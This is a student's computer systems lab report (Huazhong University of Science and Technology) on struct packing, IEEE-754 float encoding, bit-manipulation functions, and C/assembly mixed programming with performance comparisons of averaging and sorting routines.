

华中科技大学

课程实验报告

课程名称： 计算机系统基础实验

专业班级： 大数据 2401

学 号： U202414649

姓 名： 赵哲煊

指导教师： 李 专

实验时段： 2025 年 9 月 16 日 ~ 11 月 4 日

实验地点： 南一楼 804

原创性声明

本人郑重声明：本报告的内容由本人独立完成，有关观点、方法、数据和文献等的引用已经在文中指出。除文中已经注明引用的内容外，本报告不包含任何其他个人或集体已经公开发表的作品或成果，不存在剽窃、抄袭行为。

特此声明！

学生签名：

报告日期：2025. 11. 28

实验报告成绩评定：

一 (25 分)	二 (20 分)	三 (30 分)	四 (20 分)	五 (5 分)	合计 (100 分)

指导教师签字：

日期：

华中科技大学

课程实验报告

课程名称： 计算机系统基础实验

实验名称： 数据的表示和等效运算

院 系： 计算机科学与技术

专业班级： 大数据 2401

学 号： U202414649

姓 名： 赵哲煊

指导教师： 李 专

2025 年 11 月 1 日

一、实验目的与要求

- (1) 熟练掌握程序开发平台(VS2019) 的基本用法, 包括程序的编译、链接和调试;
- (2) 熟悉地址的计算方法、地址的内存转换;
- (3) 熟悉数据的表示形式。

二、实验内容

任务 1 数据存放的压缩与解压编程

按实验任务书要求编写程序, 完成数据的输入、多种方式的数据压缩与解压、程序调试与内存信息观察、浮点数编码分析与结果验证、结构数组的存放规律的分析。

任务 2 编写位运算程序

按照实验任务书要求完成给定的功能, 并自动判断程序的运行结果是否正确。

三、实验记录及问题回答

(1) 任务 1 的算法思想、运行结果等记录

算法思想: 使用两个压缩函数压缩数据, 跳过因结构体对齐产生的空白

- 1) 压缩函数一 pack_student_whole: 使用 memcpy 函数将数据压缩进 buf, 对于字符类型的内容只保存实际内容和\0
 - 2) 压缩函数二 pack_student_bytebybyte: 将 age 和 score 转换成 char 类型指针, 然后一个字节一个字节压缩进 buf
 - 3) 解压函数: 与压缩的思路相近, 将压缩在 buf 中的内容重新解压至 s 中
- 运行结果: 输入界面

```
Enter name for student 0: zzx
Enter age for student 0: 18
Enter score for student 0 (last two digits of student ID): 49
Enter remark for student 0: none
```

输入数据处理:

姓名 name: 按要求输入本人姓名, 以 C 字符串保存 (实际字符 + \0)

年龄 age: 读取为 short, 压缩区固定占 2 字节 (小端序)

分数 score: 学号后两位以 %f 读入为 float, 压缩区固定占 4 字节 (IEEE-754 单精度)

备注 remark: 同 name 以 C 字符串形式存放, 压缩时只写入实际长度

Message 输出前二十个字节:

First 20 bytes of message (hexadecimal):

7A 7A 78 0A 00 12 00 00 00 44 42 6E 6F 6E 65 0A 00 7A 7A 78

0x7a	0x7a	0x78	0x0a	0x00	0x12	0x00	0x00
0x00	0x44	0x42	0x6e	0x6f	0x6e	0x65	0x0a
0x00	0x7a	0x7a	0x78				

与内存窗口观察到的一致

浮点数编码分析:

IEEE 754 单精度浮点数编码:

二进制表示: $110001 = 1.10001 \times 2^5$

符号位 S: 0 (正数)

阶码 E: $5 + 127 = 132 = 10000100$

尾数 F: 100010000000000000000000

完整 32 位编码:

0 10000100 100010000000000000000000

十六进制表示: 0x42440000

内存小端序实际存储: 00 00 44 42 与观察到的一致

运行结果如下所示


```

Enter remark for student 0: none

Data before compression:
Student 0: Name=zzx
, Age=18, Score=49.00, Remark=none

Student 1: Name=zzx, Age=18, Score=49.00, Remark=none
Student 2: Name=zhl, Age=19, Score=48.00, Remark=none
Student 3: Name=zz, Age=19, Score=47.00, Remark=none
Student 4: Name=lj, Age=20, Score=30.00, Remark=none

Compressed data length: 75 bytes

First 20 bytes of message (hexadecimal):
7A 7A 78 0A 00 12 00 00 00 44 42 6E 6F 6E 65 0A 00 7A 7A 78

Data after decompression (restored count: 5):
Student 0: Name=zzx
, Age=18, Score=49.00, Remark=none

Student 1: Name=zzx, Age=18, Score=49.00, Remark=none
Student 2: Name=zhl, Age=19, Score=48.00, Remark=none
Student 3: Name=zz, Age=19, Score=47.00, Remark=none
Student 4: Name=lj, Age=20, Score=30.00, Remark=none

```

(2) 任务 2 的算法思想、运行结果等记录

算法思想：算法思想

1) isEqual(x, y) - 判断相等

```

// (1) 判断x和y是否相等
int isEqual(int x, int y) {
    return !(x ^ y);
}

```

核心：利用异或特性 $x \oplus y == 0$ 当且仅当 $x == y$

实现： $!(x \oplus y)$ ，运算次数：2 次

原理：相等时异或结果为 0，逻辑非后返回 1

2) bitOr(x, y) - 位或运算

```

// (2) 对x和y进行按位或运算
int bitOr(int x, int y) {
    return ~(~x & ~y);
}

```

核心：德摩根定律 $x \mid y = \sim(\sim x \& \sim y)$

实现：仅使用 $\sim$ 和 $\&$ 实现 $\mid$ 运算

运算次数：3 次

3) sign(x) - 获取符号位

```
// (3) 获取x的符号
int sign(int x) {
    return ((x >> 31) & ~1) | (!!x);
}
```

核心：利用算术右移提取符号位，结合条件判断

实现： $((x \gg 31) \& \sim 1) \mid (!!x)$

原理：正数返回 1，负数返回-1，0 返回 0

4) upperBits(n) - 高 n 位全 1

```
// (4) 获取高n位设为1的整数
int upperBits(int n) {
    return (!!n) << 31 >> (n + (~0));
}
```

核心：构造高 n 位为 1 的掩码

实现： $((!!n) \ll 31) \gg (n + (\sim 0))$

边界处理：n=0 返回 0，n $\geq$ 32 返回全 1

5) replaceByte(x, n, c) - 替换字节

```
// (5) 将x的第n个字节替换为c
int replaceByte(int x, int n, int c) {
    int mask = 0xFF << (n << 3);
    return (x & ~mask) | ((c & 0xFF) << (n << 3));
}
```

核心：清除原字节后与新字节按位或

实现： $(x \& \sim \text{mask}) \mid ((c \& 0xFF) \ll (n \ll 3))$

运算次数：8 次以内

6) allOddBits(x) - 判断奇数位全 1

```
// (6) 检查所有奇数位是否都为1
int allOddBits(int x) {
    int mask = 0xAA;
    mask = mask | (mask << 8);
    mask = mask | (mask << 16);
    return !((x & mask) ^ mask);
}
```

核心：构造奇数位全 1 掩码，与 x 相与后判断是否等于掩码

实现： $!((x \& \text{mask}) \wedge \text{mask})$

掩码构造: 0xAAAAAAAA

7) bitMask(highbit, lowbit) - 生成位掩码

```
// (7) 生成从lowbit到highbit位设为1的数
int bitMask(int highbit, int lowbit) {
    // 创建从0到highbit位设为1的掩码
    int high_mask = (1 << (highbit + 1)) + ~0;
    // 创建从0到lowbit-1位设为1的掩码
    int low_mask = (1 << lowbit) + ~0;
    // 通过异或操作获取从lowbit到highbit的位
    return high_mask & ~low_mask;
}
```

核心: 分别构造高 bit 和低 bit 掩码, 相减得到区间

实现: high_mask & ~low_mask

边界处理: lowbit > highbit 时返回 0

8) addOK(x, y) - 判断加法溢出

```
// (8) 检查x+y是否会导致溢出
int addOK(int x, int y) {
    int sum = x + y;
    int sign_x = x >> 31;
    int sign_y = y >> 31;
    int sign_sum = sum >> 31;
    return !!(~(sign_x ^ sign_y) & (sign_x ^ sign_sum));
}
```

核心: 同号相加结果异号则溢出

实现: !!(~(sign_x ^ sign_y) & (sign_x ^ sign_sum))

原理: 有符号溢出检测

9) rotateLeft(x, n) - 循环左移

```
// (9) 将x循环左移n位
int rotateLeft(int x, int n) {
    int mask = ~0;
    int shift = n & 0x1F; // 确保n在0-31范围内
    return (x << shift) | ((x >> (32 + (~shift + 1))) & ~(mask << shift));
}
```

核心: 左移 n 位与右移 (32-n) 位合并

实现: (x << shift) | (x >> (32 - shift))

边界处理: n 取模 32 防止越界

10) bitCount(x) - 统计 1 的个数

```
// (10) 计算x中1的位数
int bitCount(int x) {
    // 使用分治法统计1的位数
    int mask1 = 0x55555555; // 0101...
    int mask2 = 0x33333333; // 0011...
    int mask3 = 0x0F0F0F0F; // 00001111...
    int mask4 = 0x00FF00FF; // 0000000011111111...
    int mask5 = 0x0000FFFF; // 00000000000000001111111111111111

    x = (x & mask1) + ((x >> 1) & mask1);
    x = (x & mask2) + ((x >> 2) & mask2);
    x = (x & mask3) + ((x >> 4) & mask3);
    x = (x & mask4) + ((x >> 8) & mask4);
    x = (x & mask5) + ((x >> 16) & mask5);

    return x;
}
```

核心：分治统计，SWAR 算法

实现：5 级分组归约，最后合并结果

运算次数：约 15 次，满足 ≤ 40 次要求

运行结果：

● 位操作函数测试结果：

```
测试 1 (isEqual): 正确 (结果: 1, 期望: 1)
测试 1 (isEqual): 正确 (结果: 0, 期望: 0)
测试 2 (bitOr): 正确 (结果: 22140, 期望: 22140)
测试 3 (sign): 正确 (结果: 1, 期望: 1)
测试 3 (sign): 正确 (结果: -1, 期望: -1)
测试 4 (upperBits): 正确 (结果: -268435456, 期望: -268435456)
测试 5 (replaceByte): 正确 (结果: 305441656, 期望: 305441656)
测试 6 (allOddBits): 正确 (结果: 0, 期望: 0)
测试 6 (allOddBits): 正确 (结果: 1, 期望: 1)
测试 7 (bitMask): 正确 (结果: 56, 期望: 56)
测试 8 (addOK): 正确 (结果: 1, 期望: 1)
测试 9 (rotateLeft): 正确 (结果: 1985229336, 期望: 1985229336)
测试 10 (bitCount): 正确 (结果: 2, 期望: 2)
测试 10 (bitCount): 正确 (结果: 3, 期望: 3)
```

PS F:\LegionZone\vscode\.vscode>

四、体会

通过本次数据压缩与解压实验，我深入理解了结构体内存对齐机制和实际数据存储的差异。采用“自描述字符串+定长二进制”的紧凑存储方案，有效跳过了对齐产生的空白字节，显著减少了存储空间占用。

对比两种压缩方法：逐字节方式通用性强但效率较低，整体写入方式高效


```

        {"lj", 20, 30, "none"}
    };

    printf("Enter name for student 0: ");
    fgets(old_s[0].name, 8, stdin);
    printf("\nEnter age for student 0: ");
    scanf("%hd", &old_s[0].age);
    printf("\nEnter score for student 0 (last two digits of
student ID): ");
    char c;
    scanf("%f%c", &old_s[0].score, &c);
    printf("\nEnter remark for student 0: ");
    fgets(old_s[0].remark, 200, stdin);

    printf("\nData before compression:\n");
    for (int i = 0; i < N; i++) {
        printf("Student %d: Name=%s, Age=%d, Score=%.2f,
Remark=%s\n",
            i, old_s[i].name, old_s[i].age, old_s[i].score,
old_s[i].remark);
    }

    int total_len = 0;
    total_len += pack_student_whole(old_s, 3, message);
    total_len += pack_student_bytebybyte(old_s + 3, 2, message
+ total_len);

    printf("\nCompressed data length: %d bytes\n", total_len);
    printf("\nFirst 20 bytes of message (hexadecimal):\n");
    for (int i = 0; i < 20; i++) {
        printf("%02X ", (unsigned char)message[i]);
        if ((i+1) % 8 == 0) printf(" ");
    }
    printf("\n");

    int restored_count = restore_student(message, total_len,
new_s);

    printf("\nData after decompression (restored
count: %d):\n", restored_count);
    for (int i = 0; i < restored_count; i++) {
        printf("Student %d: Name=%s, Age=%d, Score=%.2f,
Remark=%s\n",

```



```

        i, new_s[i].name, new_s[i].age, new_s[i].score,
new_s[i].remark);
    }

    return 0;
}

int pack_student_whole(struct student* s, int sno, char *buf)
{
    int offset = 0;

    for (int i = 0; i < sno; i++) {
        strcpy(buf + offset, s[i].name);
        offset += strlen(s[i].name) + 1;

        memcpy(buf + offset, &s[i].age, sizeof(short));
        offset += sizeof(short);

        memcpy(buf + offset, &s[i].score, sizeof(float));
        offset += sizeof(float);

        strcpy(buf + offset, s[i].remark);
        offset += strlen(s[i].remark) + 1;
    }
    return offset;
}

int pack_student_bytebybyte(struct student* s, int sno, char
*buf) {
    int offset = 0;

    for (int i = 0; i < sno; i++) {
        const char* name_ptr = s[i].name;
        for (int j = 0; j <= strlen(name_ptr); j++) {
            buf[offset++] = name_ptr[j];
        }

        char *age_ptr = (char*)&s[i].age;
        buf[offset] = age_ptr[0];
        buf[offset + 1] = age_ptr[1];
        offset += 2;

        char *score_ptr = (char*)&s[i].score;
        buf[offset] = score_ptr[0];

```

```

        buf[offset + 1] = score_ptr[1];
        buf[offset + 2] = score_ptr[2];
        buf[offset + 3] = score_ptr[3];
        offset += 4;

        const char* remark_ptr = s[i].remark;
        for (int j = 0; j <= strlen(remark_ptr); j++) {
            buf[offset++] = remark_ptr[j];
        }
    }
    return offset;
}

int restore_student(char *buf, int len, struct student* s) {
    int offset = 0;
    int count = 0;

    for (count = 0; count < N && offset < len; count++) {
        strcpy(s[count].name, buf + offset);
        offset += strlen(buf + offset) + 1;

        memcpy(&s[count].age, buf + offset, sizeof(short));
        offset += sizeof(short);

        memcpy(&s[count].score, buf + offset, sizeof(float));
        offset += sizeof(float);

        strcpy(s[count].remark, buf + offset);
        offset += strlen(buf + offset) + 1;
    }

    return count;
}

#include <stdio.h>
#include <limits.h>

// 函数声明
int test_isEqual(int x, int y);
int test_bitOr(int x, int y);
int test_sign(int x);
int test_upperBits(int n);
int test_replaceByte(int x, int n, int c);

```



```

int test_allOddBits(int x);
int test_bitMask(int highbit, int lowbit);
int test_addOK(int x, int y);
int test_rotateLeft(int x, int n);
int test_bitCount(int x);

// (1) 判断 x 和 y 是否相等
int isEqual(int x, int y) {
    return !(x ^ y);
}

// (2) 对 x 和 y 进行按位或运算
int bitOr(int x, int y) {
    return ~(~x & ~y);
}

// (3) 获取 x 的符号
int sign(int x) {
    return ((x >> 31) & ~1) | (!!x);
}

// (4) 获取高 n 位设为 1 的整数
int upperBits(int n) {
    return (!!n) << 31 >> (n + (~0));
}

// (5) 将 x 的第 n 个字节替换为 c
int replaceByte(int x, int n, int c) {
    int mask = 0xFF << (n << 3);
    return (x & ~mask) | ((c & 0xFF) << (n << 3));
}

// (6) 检查所有奇数位是否都设为 1
int allOddBits(int x) {
    int mask = 0xAA;
    mask = mask | (mask << 8);
    mask = mask | (mask << 16);
    return !((x & mask) ^ mask);
}

// (7) 生成从 lowbit 到 highbit 位设为 1 的数
int bitMask(int highbit, int lowbit) {
    // 创建从 0 到 highbit 位设为 1 的掩码
    int high_mask = (1 << (highbit + 1)) + ~0;

```

```

    // 创建从 0 到 lowbit-1 位设为 1 的掩码
    int low_mask = (1 << lowbit) + ~0;
    // 通过异或操作获取从 lowbit 到 highbit 的位
    return high_mask & ~low_mask;
}

// (8) 检查 x+y 是否会导致溢出
int addOK(int x, int y) {
    int sum = x + y;
    int sign_x = x >> 31;
    int sign_y = y >> 31;
    int sign_sum = sum >> 31;
    return !!(~(sign_x ^ sign_y) & (sign_x ^ sign_sum));
}

// (9) 将 x 循环左移 n 位
int rotateLeft(int x, int n) {
    int mask = ~0;
    int shift = n & 0x1F; // 确保 n 在 0-31 范围内
    return (x << shift) | ((x >> (32 + (~shift + 1))) & ~(mask
<< shift));
}

// (10) 计算 x 中 1 的位数
int bitCount(int x) {
    // 使用分治法统计 1 的位数
    int mask1 = 0x55555555; // 0101...
    int mask2 = 0x33333333; // 0011...
    int mask3 = 0x0F0F0F0F; // 00001111...
    int mask4 = 0x00FF00FF; // 0000000011111111...
    int mask5 = 0x0000FFFF; //
00000000000000001111111111111111

    x = (x & mask1) + ((x >> 1) & mask1);
    x = (x & mask2) + ((x >> 2) & mask2);
    x = (x & mask3) + ((x >> 4) & mask3);
    x = (x & mask4) + ((x >> 8) & mask4);
    x = (x & mask5) + ((x >> 16) & mask5);

    return x;
}

// 测试函数实现
int test_isEqual(int x, int y) { return x == y; }

```

```

int test_bitOr(int x, int y) { return x | y; }

int test_sign(int x) {
    if (x == 0) return 0;
    return (x > 0) ? 1 : -1;
}

int test_upperBits(int n) {
    if (n <= 0) return 0;
    if (n >= 32) return ~0;
    return (~0) << (32 - n);
}

int test_replaceByte(int x, int n, int c) {
    unsigned char *bytes = (unsigned char *)&x;
    bytes[n & 0x3] = (unsigned char)(c & 0xFF);
    return x;
}

int test_allOddBits(int x) {
    for (int i = 1; i < 32; i += 2) {
        if (!(x >> i) & 1) return 0;
    }
    return 1;
}

int test_bitMask(int highbit, int lowbit) {
    if (lowbit > highbit) return 0;
    int mask = 0;
    for (int i = lowbit; i <= highbit; i++) {
        mask |= (1 << i);
    }
    return mask;
}

int test_addOK(int x, int y) {
    long long sum = (long long)x + y;
    return (sum > INT_MAX || sum < INT_MIN) ? 1 : 0;
}

int test_rotateLeft(int x, int n) {
    n = n % 32;
    if (n == 0) return x;

```

```

    return (x << n) | ((unsigned)x >> (32 - n));
}

int test_bitCount(int x) {
    int count = 0;
    for (int i = 0; i < 32; i++) {
        if (x & (1 << i)) count++;
    }
    return count;
}

// 测试函数
void test_function(int test_num, const char* name, int
(*func)(), int (*test_func)(), int* args, int arg_count) {
    int result = 0, expected = 0;

    switch(arg_count) {
        case 1:
            result = func(args[0]);
            expected = test_func(args[0]);
            break;
        case 2:
            result = func(args[0], args[1]);
            expected = test_func(args[0], args[1]);
            break;
        case 3:
            result = func(args[0], args[1], args[2]);
            expected = test_func(args[0], args[1], args[2]);
            break;
    }

    printf("测试 %d (%s): ", test_num, name);
    if (result == expected) {
        printf("正确 (结果: %d, 期望: %d)\n", result, expected);
    } else {
        printf("错误 (结果: %d, 期望: %d)\n", result, expected);
    }
}

int main() {
    printf("位操作函数测试结果:\n\n");

    // 测试 isEqual
    int args1[] = {5, 5};

```

```
test_function(1, "isEqual", (int(*)())isEqual,
(int(*)())test_isEqual, args1, 2);

int args2[] = {4, 5};
test_function(1, "isEqual", (int(*)())isEqual,
(int(*)())test_isEqual, args2, 2);

// 测试 bitOr
int args3[] = {0x1234, 0x5678};
test_function(2, "bitOr", (int(*)())bitOr,
(int(*)())test_bitOr, args3, 2);

// 测试 sign
int args4[] = {130};
test_function(3, "sign", (int(*)())sign,
(int(*)())test_sign, args4, 1);

int args5[] = {-23};
test_function(3, "sign", (int(*)())sign,
(int(*)())test_sign, args5, 1);

// 测试 upperBits
int args6[] = {4};
test_function(4, "upperBits", (int(*)())upperBits,
(int(*)())test_upperBits, args6, 1);

// 测试 replaceByte
int args7[] = {0x12345678, 1, 0xab};
test_function(5, "replaceByte", (int(*)())replaceByte,
(int(*)())test_replaceByte, args7, 3);

// 测试 allOddBits
int args8[] = {0xFFFFFFFFD};
test_function(6, "allOddBits", (int(*)())allOddBits,
(int(*)())test_allOddBits, args8, 1);

int args9[] = {0xAAAAAAAA};
test_function(6, "allOddBits", (int(*)())allOddBits,
(int(*)())test_allOddBits, args9, 1);

// 测试 bitMask
int args10[] = {5, 3};
test_function(7, "bitMask", (int(*)())bitMask,
(int(*)())test_bitMask, args10, 2);
```

```
// 测试 addOK
int args11[] = {0x80000000, 0x80000000};
test_function(8, "addOK", (int(*)())addOK,
(int(*)())test_addOK, args11, 2);

// 测试 rotateLeft
int args12[] = {0x87654321, 4};
test_function(9, "rotateLeft", (int(*)())rotateLeft,
(int(*)())test_rotateLeft, args12, 2);

// 测试 bitCount
int args13[] = {5};
test_function(10, "bitCount", (int(*)())bitCount,
(int(*)())test_bitCount, args13, 1);

int args14[] = {7};
test_function(10, "bitCount", (int(*)())bitCount,
(int(*)())test_bitCount, args14, 1);

return 0;
}
```

華中科技大學

課程實驗報告

課程名稱：計算機系統基礎實驗

實驗名稱：匯編和 C 的混合編程及優化

院 系：計算機科學與技術

專業班級：大數據 2401

學 號：U202414649

姓 名：趙哲煊

指導教師：李 專

2025 年 11 月 1 日

一、实验目的与要求

- (1) 熟练掌握程序开发平台 (VS2019/VS2022/VS2023) 下 C 和汇编语言的混合编程方法；
- (2) 熟悉掌握常用机器指令的使用方法；
- (3) 掌握代码优化的基本方法，提高程序运行速度。

二、实验内容

任务 1 用 C 语言编写一个学生成绩管理程序，具有平均成绩计算、按平均成绩从高到低排序、显示学生成绩的功能

按实验任务书要求准备好相关数据，编写程序学生成绩管理程序的基本功能、相关实验结果的输出以及不同编译模式下编译结果与执行性能的对比分析。

任务 2 用汇编语言编写函数“计算平均成绩”，代替原来用 C 语言编写的函数

要求：只是将任务 1 中用 C 语言编写的“计算平均成绩”替换成用汇编语言编写的函数，其他程序保持不变；测试该函数的运行速度。

任务 3 对用汇编语言编写的“计算平均成绩”函数进行优化

要求：使用寄存器与变量绑定、循环展开、使用更快的机器指令等手段，对程序进行优化；可以实现多个优化版本，比较它们的运行速度，并分析提高速度的原因。

任务 4 对排序函数进行算法优化

要求：采用算法优化、程序优化等多种手段对函数进行优化；比较它们的运行速度，并分析提高速度的原因。

三、实验记录及问题回答

作者实现 C 和汇编语言的方式与老师推荐的方式略有不同，与实验三和实验四的环境相同，在 Ubuntu 中运行 WSL2 并用 VS Code 连接便于对文件的操作。同时使用了 Makefile 文件（见附件）便于执行编译、反汇编及性能对比操作，高效地完成了任务。

(1) 实验任务 1 的实验记录

```
test: debug release
    @echo "=== Debug版本测试 ==="
    ./$(DEBUG_TARGET)
    @echo ""
    @echo "=== Release版本测试 ==="
    ./$(RELEASE_TARGET)
```

使用 make test 可以很方便的对程序进行两种方式的编译以及性能对比分析

```
coherent@LAPTOP-MA08MQ58:~/student_management$ make test
nasm -f elf64 asm_functions.asm -o asm_functions.o
gcc -g -O0 -Wall -Wextra -std=c99 main.c asm_functions.o -o student_debug -no-pie
Debug版本编译完成: student_debug
nasm -f elf64 asm_functions.asm -o asm_functions.o
gcc -O3 -march=native -Wall -Wextra -std=c99 main.c asm_functions.o -o student_release -no-pie
Release版本编译完成: student_release
```

a) Debug 版本

```
=== Debug版本测试 ===
./student_debug
=== 学生成绩管理系统 - C与汇编混合编程 ===
学生数量: 1000, 课程数量: 8

=== 排序前学生信息 (前5名) ===
No. Name      SID      C1 C2 C3 C4 C5 C6 C7 C8 Avg
-----
1 YourNam U202414649 62 91 50 59 82 83 58 59 0
2 Stu001 U202400001 96 98 86 73 89 74 97 63 0
3 Stu002 U202400002 72 90 73 59 54 79 72 76 0
4 Stu003 U202400003 50 65 76 94 78 72 99 93 0
5 Stu004 U202400004 64 51 52 98 84 62 57 82 0
... (只显示前5个学生)

=== 任务1: C版本计算平均成绩 ===
C版本计算耗时: 0.000009秒
```

```
=== 冒泡排序测试 ===
冒泡排序耗时: 0.001829秒
```

```
=== 排序后学生信息 (前10名) ===
No. Name      SID      C1 C2 C3 C4 C5 C6 C7 C8 Avg
-----
1 Stu022 U202400022 90 95 91 96 94 94 96 71 90
2 Stu326 U202400326 89 89 82 94 95 94 84 89 89
3 Stu892 U202400892 88 82 98 98 74 82 89 97 88
4 Stu714 U202400714 96 67 95 75 93 98 87 99 88
5 Stu217 U202400217 94 99 81 79 82 95 81 87 87
6 Stu971 U202400971 88 89 99 85 86 77 95 79 87
7 Stu282 U202400282 92 86 87 85 92 81 93 75 86
8 Stu672 U202400672 89 78 88 78 95 97 96 68 86
9 Stu907 U202400907 93 69 94 97 75 96 95 69 86
10 Stu620 U202400620 98 90 85 82 88 96 54 98 86
... (只显示前10个学生)
```

可见, 实现了任务 1 的基本要求,

b) Release 版本

```
=== Release版本测试 ===
./student_release
=== 学生成绩管理系统 - C与汇编混合编程 ===
学生数量: 1000, 课程数量: 8

=== 排序前学生信息 (前5名) ===
No. Name      SID      C1 C2 C3 C4 C5 C6 C7 C8 Avg
-----
1  YourNam  U202414649  62 91 50 59 82 83 58 59 0
2  Stu001   U202400001  96 98 86 73 89 74 97 63 0
3  Stu002   U202400002  72 90 73 59 54 79 72 76 0
4  Stu003   U202400003  50 65 76 94 78 72 99 93 0
5  Stu004   U202400004  64 51 52 98 84 62 57 82 0
... (只显示前5个学生)

=== 任务1: C版本计算平均成绩 ===
C版本计算耗时: 0.000002秒
```

```
=== 冒泡排序测试 ===
冒泡排序耗时: 0.001672秒
```

```
=== 排序后学生信息 (前10名) ===
No. Name      SID      C1 C2 C3 C4 C5 C6 C7 C8 Avg
-----
1  Stu022   U202400022  90 95 91 96 94 94 96 71 90
2  Stu326   U202400326  89 89 82 94 95 94 84 89 89
3  Stu892   U202400892  88 82 98 98 74 82 89 97 88
4  Stu714   U202400714  96 67 95 75 93 98 87 99 88
5  Stu217   U202400217  94 99 81 79 82 95 81 87 87
6  Stu971   U202400971  88 89 99 85 86 77 95 79 87
7  Stu282   U202400282  92 86 87 85 92 81 93 75 86
8  Stu672   U202400672  89 78 88 78 95 97 96 68 86
9  Stu907   U202400907  93 69 94 97 75 96 95 69 86
10 Stu620   U202400620  98 90 85 82 88 96 54 98 86
... (只显示前10个学生)
```

c) 对比分析

可以发现不管是计算平均成绩还是冒泡排序，release 版本相较于 debug 版本有着较为明显的提升，接下来我们分析一下原因（截图内容见附件：对比分析.txt）

```

Debug版 (401196-40124d)
4011a5: c7 45 f4 00 00 00 00  movl    $0x0, -0xc(%rbp) ; 初始化计数器
4011bf: eb 3a                  jmp     4011fb
4011c1: 8b 45 f4              mov     -0xc(%rbp),%eax ; 频繁栈访问
4011f3: 01 45 f8              add     %eax, -0x8(%rbp) ; 内存累加
4011f7: 83 45 fc 01          addl    $0x1, -0x4(%rbp) ; 计数器递增
|
Debug版 (401196-40124d)
4011a5: c7 45 f4 00 00 00 00  movl    $0x0, -0xc(%rbp) ; 初始化计数器
4011bf: eb 3a                  jmp     4011fb
4011c1: 8b 45 f4              mov     -0xc(%rbp),%eax ; 频繁栈访问
4011f3: 01 45 f8              add     %eax, -0x8(%rbp) ; 内存累加
4011f7: 83 45 fc 01          addl    $0x1, -0x4(%rbp) ; 计数器递增
Release版 (4019a0-401a04)
4019c0: 0f bf 50 16          movswl  0x16(%rax),%edx ; 课程1
4019c4: 0f bf 48 14          movswl  0x14(%rax),%ecx
4019c8: 01 d1               add     %edx,%ecx ; 直接累加
4019ca: 0f bf 50 18          movswl  0x18(%rax),%edx ; 课程2
4019ce: 01 ca               add     %edx,%ecx
... ; 连续8门课程展开
4019f8: c1 fa 03           sar     $0x3,%edx ; 直接除以8

```

可以看到，对平均成绩的计算，相较于 debug 版本，release 版本对循环直接进行了展开，这是平均成绩计算时间差异较大的主要原因。

```

Debug版 (40124e-40142c)
401289: 8b 45 bc          mov     -0x44(%rbp),%eax ; 数组索引计算
4012e3: 48 8b 08          mov     (%rax),%rcx ; 逐个字段复制
4012e6: 48 8b 58 08       mov     0x8(%rax),%rbx
4012ea: 48 89 4d c0       mov     %rcx, -0x40(%rbp)
... ; 大量临时变量存储

Release版 (401a10-401ab0)
401a5a: c5 fe 6f 00       vmovdqu (%rax),%ymm0 ; SIMD加载32字节
401a5e: c5 fe 6f 48 26    vmovdqu 0x26(%rax),%ymm1
401a63: c5 fe 7f 08       vmovdqu %ymm1, (%rax) ; 批量交换
401a67: c5 fe 7f 50 26    vmovdqu %ymm0, 0x26(%rax)

```

可以看到，针对普通的冒泡排序算法，两个版本采取的数据交换方式不同，debug 采取逐个字段复制，而 release 采取的是批量交换，因此相对而言冒泡排序所需要的时间更短。

(2) 实验任务 2 的实验记录

```

coherent@LAPTOP-MA08MQ58:~/student_management$ make test

=== 性能对比总结 ===
计算平均成绩:
C版本:          0.000009秒
基础汇编版本: 0.000009秒 (加速比: 1.00x)
优化汇编版本1: 0.000001秒 (加速比: 9.00x)
优化汇编版本2: 0.000001秒 (加速比: 9.00x)

```

可以看到基础汇编版本的运行时间与 debug 版本的 C 语言程序运行时间大

体相当，而两个优化汇编版本的加速效果很明显，我们在下一个部分进行分析。

(3) 实验任务 3 的实验记录

```
; 基础版 - 循环控制
mov ecx, 8
loop course_loop    ; 每次循环需要：递减ecx + 条件跳转

; 优化版1 - 循环展开
movzx eax, word [r15]    ; 直接8次操作
add edx, eax
movzx eax, word [r15+2]
add edx, eax
; ... 省略6次
```

优化版本一对循环进行了展开，因此消除 8 次 loop 指令执行和 7 次条件跳转，并且减少了分支预测错误概率。指令数量的减少有助于提高流水线效率。

```
; 需要3个寄存器
mov ecx, 8    ; 循环计数器
movzx eax, ... ; 临时存储
add edx, eax   ; 累加器

; 只需2个寄存器，更紧凑
movzx eax, ... ; 累加器
movzx ecx, ... ; 临时值
add eax, ecx   ; 直接累加
```

除了循环展开，优化版本二对寄存器的使用更紧凑，也有助于减少运行时间。

(4) 实验任务 4 的实验记录

Debug 版本：

```
排序算法：
冒泡排序：0.001829秒
快速排序：0.000197秒 (加速比：9.28x)
```

Release 版本：

```
排序算法：
冒泡排序：0.001672秒
快速排序：0.000244秒 (加速比：6.85x)
```

可以看到，不管是哪种编译版本，快速排序相对于冒泡排序都有较大的加速比


```
// 冒泡排序
void sort_students_bubble(struct student *students, int count) {
    for (int i = 0; i < count - 1; i++) {
        for (int j = 0; j < count - i - 1; j++) {
            if (students[j].average < students[j+1].average) {
                struct student temp = students[j];
                students[j] = students[j+1];
                students[j+1] = temp;
            }
        }
    }
}
```

```
// 快速排序分区函数
int partition(struct student *students, int low, int high) {
    short pivot = students[high].average;
    int i = low - 1;

    for (int j = low; j <= high - 1; j++) {
        if (students[j].average >= pivot) {
            i++;
            struct student temp = students[i];
            students[i] = students[j];
            students[j] = temp;
        }
    }

    struct student temp = students[i+1];
    students[i+1] = students[high];
    students[high] = temp;
    return i + 1;
}
```

```
// 快速排序
void quick_sort(struct student *students, int low, int high) {
    if (low < high) {
        int pi = partition(students, low, high);
        quick_sort(students, low, pi - 1);
        quick_sort(students, pi + 1, high);
    }
}
```

i. 算法复杂度差异

算法	平均时间复杂度	最坏时间复杂度	空间复杂度
冒泡排序	$O(n^2)$	$O(n^2)$	$O(1)$
快速排序	$O(n \log n)$	$O(n^2)$	$O(\log n)$

对于 1000 名学生:

- 冒泡排序: 约 1,000,000 次比较
- 快速排序: 约 10,000 次比较 ($1000 \times \log_2 1000 \approx 1000 \times 10$)

- ii. 除此之外, 与冒泡排序相比, 快速排序交换次数远少于比较次数, 每次交换将元素移动到最终位置附近, 因此数据移动高效得多。

iii. 冒泡排序缓存问题

访问模式: `students[0]`, `students[1]`, `students[2]`..., 频繁的相邻元素交换破坏缓存局部性, 每次交换可能导致缓存行失效

快速排序缓存优势

访问模式: 分区操作集中在数组的局部区域, 更好的缓存局部性, 减少缓存未命中, 并且递归的深度优先特性利于缓存利用。

四、体会

通过本次计算机系统基础实验, 我深入学习了 C 语言和汇编语言的混合编程方法, 并实践了代码优化技术。实验过程中, 我不仅掌握了基本的编程技能, 还提升了性能分析和优化能力。

